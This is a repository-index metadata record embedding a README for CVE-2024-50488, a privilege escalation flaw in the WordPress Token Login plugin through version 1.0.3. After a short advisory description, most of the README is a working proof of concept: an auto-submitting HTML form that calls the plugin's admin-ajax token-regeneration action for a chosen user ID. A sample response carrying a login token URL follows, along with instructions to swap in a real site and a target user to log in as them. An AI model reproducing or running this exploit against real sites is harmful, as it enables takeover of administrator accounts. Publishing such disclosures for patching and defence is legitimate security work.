{"id":21125676,"url":"https://github.com/randomrobbiebf/cve-2024-50488","last_synced_at":"2026-01-02T04:07:16.791Z","repository":{"id":261935878,"uuid":"885769222","full_name":"RandomRobbieBF/CVE-2024-50488","owner":"RandomRobbieBF","description":"Token Login \u003c= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation","archived":false,"fork":false,"pushed_at":"2024-11-09T10:56:30.000Z","size":4,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-21T05:41:42.465Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-11-09T10:54:06.000Z","updated_at":"2024-11-09T10:58:33.000Z","dependencies_parsed_at":"2024-11-09T11:32:46.955Z","dependency_job_id":"a2ae3e6e-2bdc-4171-939c-be5146354b3e","html_url":"https://github.com/RandomRobbieBF/CVE-2024-50488","commit_stats":null,"previous_names":["random-robbie/cve-2024-50488"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2024-50488","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2024-50488/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2024-50488/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2024-50488/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2024-50488/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573163,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:20.086Z","updated_at":"2026-01-02T04:07:16.755Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2024-50488\nToken Login \u0026lt;= 1.0.3 - Authenticated (Subscriber+) Privilege Escalation\n\n\n# Description:\nThe Auto Login using a secure tokenized url. Role wise login restriction. plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.3. This is due to the plugin not properly verifying if a user has permissions to generate a login token for other users. This makes it possible for authenticated attackers, with subscriber-level access and above, to log in as other using including administrators.\n\n```\nPublished: 2024-10-25 00:00:00\nCVE: CVE-2024-50488\nCVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Score: 8.8\nSlugs: token-login\n```\n\nPOC\n---\n\nLogged in run this HTML submit.\nChange the url to the wordpress site your logged in on.\nChange the ID to the user you want to generate the token for.\ncopy the url and you can login as them\n\n```\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://kubernetes.docker.internal/wp-admin/admin-ajax.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"action\" value=\"tl\u0026#95;admin\u0026#95;ajax\u0026#95;action\" /\u003e\n      \u003cinput type=\"hidden\" name=\"method\" value=\"regenerate\u0026#95;token\" /\u003e\n      \u003cinput type=\"hidden\" name=\"user\u0026#95;id\" value=\"7\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nResponce\n\n```\n{\"status\":\"success\",\"message\":\"Successfully regenerated token!\",\"token_url\":\"http:\\/\\/kubernetes.docker.internal?__token__=1c8dc9406bc444d1f5cea37fae130f92\"}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2024-50488","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2024-50488","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2024-50488/lists"}